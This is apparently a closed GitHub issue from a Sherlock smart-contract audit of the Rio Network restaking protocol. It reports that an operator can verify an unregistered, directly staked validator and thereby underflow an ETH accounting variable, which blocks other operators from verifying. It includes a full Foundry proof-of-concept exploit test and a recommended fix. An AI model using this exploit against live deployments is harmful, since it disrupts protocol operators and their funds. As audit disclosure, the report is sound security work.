search

sherlock-audit / 2024-02-rio-network-core-protocol-judging

4 stars 4 forks source link

klaus - Can verify with an external validator that is not registered in the Rio system. Prevent other operators from verifying #377

Closed sherlock-admin closed 8 months ago

sherlock-admin commented 8 months ago

klaus

medium

Can verify with an external validator that is not registered in the Rio system. Prevent other operators from verifying

Summary

It is possible to call OperatorRegistry.verifyWithdrawalCredentials with validators not registered in the system or not rebalanced. This can disrupt the unverifiedValidatorETHBalance variable and make it impossible for other operators to call OperatorRegistry.verifyWithdrawalCredentials.

Vulnerability Detail

Operators can stake ETH directly by calling ETHPOSDeposit.deposit without going through the Rio system. Even if staked directly, it has no effect on EigenLayer (there is no change in storage variables in the stake function).

After directly staking, if you call OperatorRegistry.verifyWithdrawalCredentials, you can verify the validator who does not registered, or registereb but not deposited by rebalance. The unverifiedValidatorETHBalance variable increases in rebalance and decreases in OperatorRegistry.verifyWithdrawalCredentials, so unverifiedValidatorETHBalance becomes smaller than normal situation.

As the result, if operator tries to verify the validator, it can be reverted due to underflow of unverifiedValidatorETHBalance 

function verifyWithdrawalCredentials(
    uint8 operatorId,
    uint64 oracleTimestamp,
    IBeaconChainProofs.StateRootProof calldata stateRootProof,
    uint40[] calldata validatorIndices,
    bytes[] calldata validatorFieldsProofs,
    bytes32[][] calldata validatorFields
) external onlyOperatorManagerOrProofUploader(operatorId) {
    OperatorDetails storage operator = s.operatorDetails[operatorId];
    IRioLRTOperatorDelegator(operator.delegator).verifyWithdrawalCredentials(
        oracleTimestamp, stateRootProof, validatorIndices, validatorFieldsProofs, validatorFields
    );

    // Once verified, shares are tracked as EigenPod shares.
@>  assetRegistry().decreaseUnverifiedValidatorETHBalance(validatorIndices.length * ETH_DEPOSIT_SIZE);

    emit OperatorWithdrawalCredentialsVerified(operatorId, oracleTimestamp, validatorIndices);
}

function decreaseUnverifiedValidatorETHBalance(uint256 amount) external onlyOperatorRegistry {
    if (!isSupportedAsset(ETH_ADDRESS)) revert ASSET_NOT_SUPPORTED(ETH_ADDRESS);

@>  ethBalanceInUnverifiedValidators -= amount;
    emit UnverifiedValidatorETHBalanceDecreased(amount);
}

This is PoC. Add it to the RioLRTDepositPool.t.sol file and run it. Add an import statement at the top of the code.

import {CredentialsProofs} from 'test/utils/beacon-chain/MockBeaconChain.sol';
import {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';
import {RioLRTOperatorRegistry} from 'contracts/restaking/RioLRTOperatorRegistry.sol';
import {IStrategy} from 'contracts/interfaces/eigenlayer/IStrategy.sol';
import {Memory} from 'contracts/utils/Memory.sol';
import {ValidatorDetails} from 'contracts/utils/ValidatorDetails.sol';
import {IETHPOSDeposit} from 'contracts/interfaces/eigenlayer/IETHPOSDeposit.sol';

    function test_PoCStakeDirectly() public {
        address normalOperator = address(0x01);
        address attackerOperator = address(0x1337);
        uint256 AMOUNT = 32 ether;

        vm.deal(attackerOperator, 100 ether);

        (uint8 operatorId, bytes memory publicKeys, bytes memory signatures) = addOperatorDelegator_For_PoC(
            reETH.operatorRegistry,
            address(reETH.rewardDistributor),
            1, // count
            normalOperator, // operator
            true // add validator detail
        );

        address operatorDelegator = reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;

        // Allocate ETH.
        reETH.coordinator.depositETH{value: AMOUNT}();

        // Push funds into EigenLayer.
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS); // 32 ether staked to normalOperator
        skip(reETH.coordinator.rebalanceDelay());

        (uint8 attackerOperatorId, bytes memory attakerPublicKeys, bytes memory attackerSignatures) = addOperatorDelegator_For_PoC(
            reETH.operatorRegistry,
            address(reETH.rewardDistributor),
            1, // count
            attackerOperator, // operator
            false // do not add validator detail
        );

        address attackerOperatorDelegator = reETH.operatorRegistry.getOperatorDetails(attackerOperatorId).delegator;

        {
            // attacker stake directly
            IETHPOSDeposit ethPOS = IETHPOSDeposit(0xff50ed3d0ec03aC01D4C79aAd74928BFF48a7b2b);

            address pod = address(IRioLRTOperatorDelegator(attackerOperatorDelegator).eigenPod());
            bytes32 withdrawalCredentials = bytes1(0x01) | bytes32(uint256(uint160(pod)));
            bytes32 depositDataRoot = _computeDepositDataRoot(withdrawalCredentials, attakerPublicKeys, attackerSignatures);

            vm.prank(attackerOperator);

            ethPOS.deposit{value: 32 ether}(attakerPublicKeys, abi.encodePacked(bytes1(uint8(1)), bytes11(0), address(pod)), attackerSignatures, depositDataRoot);
        }

        // then attacker verifyWithdrawalCredentials
        {    
            uint256 beforeEthBalanceInUnverifiedValidators = reETH.assetRegistry.ethBalanceInUnverifiedValidators();

            uint40[] memory validatorIndices =
                verifyCredentialsForValidators_For_PoC(reETH.operatorRegistry, attackerOperatorId, uint8(AMOUNT / 32 ether), false); // @audit-info attacker never deposit & rebalanced, but still has staking with confirmed validator

            uint256 afterEthBalanceInUnverifiedValidators = reETH.assetRegistry.ethBalanceInUnverifiedValidators();

            assertEq(afterEthBalanceInUnverifiedValidators, 0, "ethBalanceInUnverifiedValidators decreased");
            assertEq(beforeEthBalanceInUnverifiedValidators - afterEthBalanceInUnverifiedValidators, AMOUNT, "ethBalanceInUnverifiedValidators decreased");

            assertEq(delegationManager.operatorShares(attackerOperator, IStrategy(BEACON_CHAIN_STRATEGY)), 32 ether); // eigen layer share
        }

        {
            // normalOperator try to verify but fails
            uint40[] memory validatorIndices2 = verifyCredentialsForValidators_For_PoC(reETH.operatorRegistry, operatorId, uint8(AMOUNT / 32 ether), true);

        }
    }

    function addOperatorDelegator_For_PoC(RioLRTOperatorRegistry operatorRegistry, address rewardDistributor, uint8 count, address operator, bool addValidatorDetail)
        public
        returns (uint8 operatorId, bytes memory publicKeys, bytes memory signatures)
    {
        IRioLRTOperatorRegistry.StrategyShareCap[] memory shareCaps = new IRioLRTOperatorRegistry.StrategyShareCap[](2);
        shareCaps[0] = IRioLRTOperatorRegistry.StrategyShareCap({strategy: RETH_STRATEGY, cap: 1_000 ether});
        shareCaps[1] = IRioLRTOperatorRegistry.StrategyShareCap({strategy: CBETH_STRATEGY, cap: 1_000 ether});
        uint40 validatorCap = 1;

        // make validator with salt(operator address)
        (publicKeys, signatures) = getValidatorKeys_For_PoC(validatorCap, uint160(operator)); // @audit-info use salt for different validator

        string memory metadataURI = 'https://ipfs.io/ipfs/bafkreiaps6k6yapebk2eac2kgh47ktv2dxsajtssyi5fgnkrhyu7spivye';

        vm.prank(operator);
        delegationManager.registerAsOperator(
            IDelegationManager.OperatorDetails({
                earningsReceiver: rewardDistributor,
                delegationApprover: address(0),
                stakerOptOutWindowBlocks: 0
            }),
            metadataURI
        );

        (operatorId,) = operatorRegistry.addOperator(
            IRioLRTOperatorRegistry.OperatorConfig({
                operator: operator,
                initialManager: address(this),
                initialEarningsReceiver: address(this),
                initialMetadataURI: metadataURI,
                strategyShareCaps: shareCaps,
                validatorCap: validatorCap
            })
        );

        if (validatorCap > 0 && addValidatorDetail) {
            operatorRegistry.addValidatorDetails(operatorId, validatorCap, publicKeys, signatures);
        }

        // Fast forward to allow validator keys time to confirm.
        skip(operatorRegistry.validatorKeyReviewPeriod());
    }

    function getValidatorKeys_For_PoC(uint256 validatorCount, uint160 salt)
        internal
        pure
        returns (bytes memory publicKeys, bytes memory signatures)
    {
        publicKeys = new bytes(ValidatorDetails.PUBKEY_LENGTH * validatorCount);
        signatures = new bytes(ValidatorDetails.SIGNATURE_LENGTH * validatorCount);

        // Validator keys cannot be empty.
        for (uint16 i = 0; i < validatorCount; ++i) {
            bytes memory keySigBytes = abi.encodePacked(i + 1 + salt); // make public / signature with salt
            for (uint256 j = 0; j < keySigBytes.length; j++) {
                publicKeys[i * ValidatorDetails.PUBKEY_LENGTH + j] = keySigBytes[j];
                signatures[i * ValidatorDetails.SIGNATURE_LENGTH + j] = keySigBytes[j];
            }
        }
    }

    function _computeDepositDataRoot(bytes32 withdrawalCredentials_, bytes memory publicKey, bytes memory signature) internal pure returns (bytes32) {
        // Compute the deposit data root (`DepositData` hash tree root) according to deposit_contract.sol
        uint64 ETH_DEPOSIT_SIZE_IN_GWEI_LE64 = 0x0040597307000000;
        bytes memory sigPart1 = Memory.unsafeAllocateBytes(64);
        bytes memory sigPart2 = Memory.unsafeAllocateBytes(32);

        Memory.copyBytes(signature, sigPart1, 0, 0, 64);
        Memory.copyBytes(signature, sigPart2, 64, 0, 32);

        bytes32 publicKeyRoot = sha256(abi.encodePacked(publicKey, bytes16(0)));
        bytes32 signatureRoot =
            sha256(abi.encodePacked(sha256(abi.encodePacked(sigPart1)), sha256(abi.encodePacked(sigPart2, bytes32(0)))));

        return sha256(
            abi.encodePacked(
                sha256(abi.encodePacked(publicKeyRoot, withdrawalCredentials_)),
                sha256(abi.encodePacked(ETH_DEPOSIT_SIZE_IN_GWEI_LE64, bytes24(0), signatureRoot))
            )
        );
    }

    function verifyCredentialsForValidators_For_PoC(
        RioLRTOperatorRegistry operatorRegistry,
        uint8 operatorId,
        uint8 validatorCount,
        bool expectFail
    ) public returns (uint40[] memory validatorIndices) {
        validatorIndices = new uint40[](validatorCount);

        IRioLRTOperatorRegistry.OperatorPublicDetails memory details = operatorRegistry.getOperatorDetails(operatorId);
        RioLRTOperatorDelegator operatorDelegator = RioLRTOperatorDelegator(payable(details.delegator));

        bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();

        beaconChain.setNextTimestamp(block.timestamp);
        for (uint8 i = 0; i < validatorCount; i++) {
            CredentialsProofs memory proofs;
            (validatorIndices[i], proofs) = beaconChain.newValidator({
                balanceWei: 32 ether,
                withdrawalCreds: abi.encodePacked(withdrawalCredentials)
            });

            if(expectFail){
                vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
            }

            vm.prank(details.manager);
            operatorRegistry.verifyWithdrawalCredentials(
                operatorId,
                proofs.oracleTimestamp,
                proofs.stateRootProof,
                proofs.validatorIndices,
                proofs.validatorFieldsProofs,
                proofs.validatorFields
            );
        }
    }

Impact

You can verify with an external validator not registered in the Rio system(not addValidatorDetails called). Can prevent other operators from verifying

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L250

Tool used

Manual Review

Recommendation

At OperatorRegistry.verifyWithdrawalCredentials, check whether the validator to be verified is a validator registered in the system(check pubkey) and whether it is in deposit state (by rebalance).

Duplicate of #235